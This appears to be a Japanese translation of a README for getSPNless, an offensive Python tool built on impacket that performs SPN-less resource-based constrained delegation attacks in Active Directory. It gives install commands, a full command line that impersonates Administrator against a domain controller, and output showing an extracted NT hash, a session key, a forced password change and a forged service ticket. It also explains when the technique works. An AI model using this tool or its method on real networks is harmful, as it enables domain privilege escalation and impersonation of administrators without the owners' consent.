
SPN-less RBCD攻撃を自動的に実行するPythonツール

Pythonツールで、SPNレス技術を使用してKerberosサービスチケットを取得します。通常のユーザーアカウントを使用したRBCDの悪用に基づいています。
このツールはimpacketプロジェクトを使用しています。
これらのツールはPython 3.5+とのみ互換性があります。GitHubからリポジトリをクローンし、依存関係をインストールすれば準備完了です:
git clone https://github.com/jarnovandenbrink/getSPNless.git
cd getSPNless
python3 -m pip install .
仮想環境(virtualenv)の使用をお勧めします。
python3 getSPNless.py -spn cifs/DC01.pwn.local -dc-ip 192.168.2.64 -impersonate Administrator pwn.local/low:'Somepass1'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting a TGT
[*] Calculating RC4 value of the provided password
[*] NT Hash: :3ac433014b4d5b1b4bc8a5350153ea93
[*] Saving ticket in low.ccache
[*] Ticket Session Key: 37ff4701394ef659bdd724e5dca5c00f
[*] Changing the password of pwn.local\low
[*] Connecting to DCE/RPC as pwn.local\low
[*] Password was changed successfully.
[!] User might need to change their password at next logon because we set hashes (unless password never expires is set).
[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]
[*] To revert the password, run: changepasswd.py pwn.local/low:[email protected] -hashes :37ff4701394ef659bdd724e5dca5c00f -newpass Somepass1
代替として、NTハッシュを使用することもできます。NTハッシュを使用する場合、パスワードの復元はユーザーアカウントに「パスワードを無期限にする」フラグが設定されている場合にのみ可能であることに注意してください。
このツールは、RBCD攻撃を実行する際のマシンアカウント要件をバイパスする方法を提供します。ユーザーアカウントでRBCDを実行する際の現在の問題は、KDCがチケットに使用する暗号化キーを認識できないことです。このツールは、Kerberos TGTを要求し、チケットのセッションキーを抽出し、ユーザーのNTハッシュを変更することで、この制限を回避します。S4U2Self+U2UおよびS4U2Proxyを使用することで、サービスチケットを取得することが可能です。個人的には、SPNレスRBCDよりもマシンアカウントやPKINIT/UnPAC-the-Hashを使用したシャドウクレデンシャルを選びます。ただし、MachineAccountQuotaが0に設定されていて、ADCSが利用できない場合やPKINITが無効になっている場合には、これは良い代替手段です。RC4 Kerberos暗号化タイプが無効になっている場合、この攻撃は機能しないことに注意してください。これは、Kerberosタイプ23(Eタイプ23)があるかどうかを確認することで確認できます。
このプロジェクトは、Cyber Cloudでの業務の一環として、および私自身の時間において部分的に開発されました。この作業の開発と調査の時間を提供してくれたCyber Cloudに感謝します。